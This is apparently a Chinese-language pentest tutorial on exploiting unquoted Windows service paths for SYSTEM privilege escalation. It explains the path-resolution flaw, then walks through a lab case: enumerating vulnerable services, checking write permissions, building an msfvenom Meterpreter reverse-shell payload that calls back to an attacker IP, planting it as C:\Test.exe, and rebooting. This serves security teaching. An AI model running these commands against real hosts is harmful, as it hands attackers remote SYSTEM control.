原理
当系统管理员配置Windows服务时,必须指定要执行的命令,或者运行可执行文件的路径。
当Windows服务运行时,会发生以下两种情况之一。
1、如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行
2、如果文件路径没有被双引号包裹的话,空格会截断文件路径,空格前的路径会被当做目标路径。
## Windows文件路径解析的特性
例如,我们有一个文件路径为“C:\Test Tools\Some Folder\malicious.exe”。那么,对于该路径中的每一个空格,Windows都会尝试寻找并执行与空格前面的名字相匹配的程序。
如上面的目录为例,Windows会依次尝试确定和执行一下程序:
1. C:\Test.exe
2. C:\Test Tools\Some.exe
3. C:\Test Tools\Some Folder\malicious.exe
最后才确定并执行真正的程序malicious.exe。由于Windows服务通常是以system权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以system系统权限进行
利用
看到服务执行路径存在空格,路径可写即可利用该漏洞
列出目标主机中所有存在空格且没有被引号括起来服务路径
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
案例
列出目标主机中所有存在空格且没有被引号括起来服务路径
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
查看权限
icacls "C:\Test Tools\Some Folder"
普通用户完全可控
生成新木马
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.74.128 lport=9999 prependmigrateprocess=explorer.exe prependmigrate=true -f exe > Test.exe
#MSF 监听
handler -p windows/x64/meterpreter/reverse_tcp -H 0.0.0.0 -P 9999
将木马文件上传至目标靶机并移动到对应目录
upload /opt/Test.exe
# cmd
move Test.exe C:\\
重启机器
shutdown -r -t 0